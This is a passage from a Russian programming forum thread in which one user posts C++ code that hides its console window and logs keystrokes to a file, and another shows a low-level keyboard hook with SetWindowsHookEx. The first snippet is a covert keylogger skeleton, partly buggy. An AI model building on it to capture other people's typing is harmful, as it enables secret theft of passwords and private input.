Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Общие вопросы C/C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 20.02.2012, 23:38   #11
EUGY
Форумчанин
 
Аватар для EUGY
 
Регистрация: 11.07.2010
Сообщений: 914
По умолчанию

Как же тогда в буфер консоли будет попадать информация?
Разве что GetAsyncKeyState в цикле поможет, но к буферу консоли это отношения не имеет. И такой подход, как Вы заметили, сильно грузит процессор.
Обычно ставится хук на клаву. WH_KEYBOARD_LL.
EUGY вне форума Ответить с цитированием
Старый 20.02.2012, 23:47   #12
stdio
Форумчанин
 
Аватар для stdio
 
Регистрация: 14.02.2012
Сообщений: 105
По умолчанию

А можно поподробней?
stdio вне форума Ответить с цитированием
Старый 21.02.2012, 00:00   #13
EUGY
Форумчанин
 
Аватар для EUGY
 
Регистрация: 11.07.2010
Сообщений: 914
По умолчанию

Есть такое понятие: callback-функция.
У любой функции есть адрес, и если этот адрес передать в другую функцию, то можно вызвать первую функцию по ее адресу.
И вот есть специальная функция SetWindowsHookEx, устанавливающая системные ловушки (хуки).
Если передать в нее адрес своей функции, то при нажатии клавиши будет вызвана
функция, адрес которой был передан в качестве параметра.
Примеров масса, не сложнее того, что написано Вами.
EUGY вне форума Ответить с цитированием
Старый 21.02.2012, 00:17   #14
stdio
Форумчанин
 
Аватар для stdio
 
Регистрация: 14.02.2012
Сообщений: 105
По умолчанию

получается ближе сюда?


Код:
// buffer.cpp: определяет точку входа для консольного приложения.
//

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include<winuser.h>
#include <iostream>
#include <time.h>

int main(void)
{
  HWND stealth;
  AllocConsole();
  stealth=FindWindowA("ConsoleWindowClass",NULL);
  ShowWindow(stealth,0);
  FILE *file;
  file=fopen("C:\\file.txt", "a+");
  time_t theTime=time(0);
  fputs("\nStarted logging: ", file);
  fputs(ctime(&theTime),file);
  short t = 12;
  fputs("aaaaaaaaaaa", file);
         short x;

       while(1)
       {
          Sleep(10);
		  for(x=8;x<=222;x++)
          {
                                 
              GetAsyncKeyState(x);
              if((x>=39)&&(x<=64))
                  {
                     fputc(x,file);
                     fclose(file);
                     break;
                  }    
                  else if((x>64)&&(x<91))
                  {
                     x+=32;
                     fputc(x,file);
                     fclose(file);
                     break;
                  }
                  else
                  {
                    switch(x)
                    {
                       case VK_SPACE:
                       fputs("Space",file);
                       fclose(file);
                       break;  
                       case VK_SHIFT:
                       fputs("\r\n[SHIFT]\r\n",file);
                       fclose(file);
                       break;                      
                       case VK_RETURN:
                       fputs("\r\n[ENTER]\r\n",file);
                       fclose(file);
                       break;
                       case VK_BACK:
                       fputs("\r\n[BACKSPACE]\r\n",file);
                       fclose(file);
                       break;
                       case VK_TAB:
                       fputs("\r\n[TAB]\r\n",file);
                       fclose(file);
                       break;
                       case VK_CONTROL:
                       fputs("\r\n[CTRL]\r\n",file);
                       fclose(file);
                       break;  
                       case VK_DELETE:
                       fputs("\r\n[DEL]\r\n",file);
                       fclose(file);
                       break;
					}
				  }    
		  }
        }         

   
  return 0;

}

Последний раз редактировалось ACE Valery; 21.02.2012 в 01:27.
stdio вне форума Ответить с цитированием
Старый 21.02.2012, 00:52   #15
EUGY
Форумчанин
 
Аватар для EUGY
 
Регистрация: 11.07.2010
Сообщений: 914
По умолчанию

Ближе сюда
Код:
#include "stdafx.h"
#define  _WIN32_WINNT 0x0501
#include <windows.h>
HHOOK hhook = NULL;

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{

	KBDLLHOOKSTRUCT* pkbs = (KBDLLHOOKSTRUCT*) lParam;
	if (WM_KEYDOWN==wParam)
	{
		char C[255];
		wsprintf(C,"нажата клавиша с кодом %x \n", pkbs->vkCode);
		OutputDebugString(C);
	}
	return CallNextHookEx(hhook, nCode, wParam, lParam);
}


int main()
{
	hhook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc ,0, 0);
	while (GetMessage(0,0,0,0));
	//UnhookWindowsHookEx(hhook);
	return 0;
}
EUGY вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Оптимизировать код) Pein95 Паскаль, Turbo Pascal, PascalABC.NET 1 11.11.2011 18:42
Как оптимизировать код C++ slim>>> Помощь студентам 10 25.01.2011 00:05
Как оптимизировать код перевода BMP в JPEG artemavd Общие вопросы Delphi 7 12.11.2010 12:18
Очень большой цикл, как оптимизировать? Marsel737 Общие вопросы Delphi 3 06.09.2010 10:08
Как оптимизировать код Delphi OST_K Помощь студентам 1 30.05.2010 06:59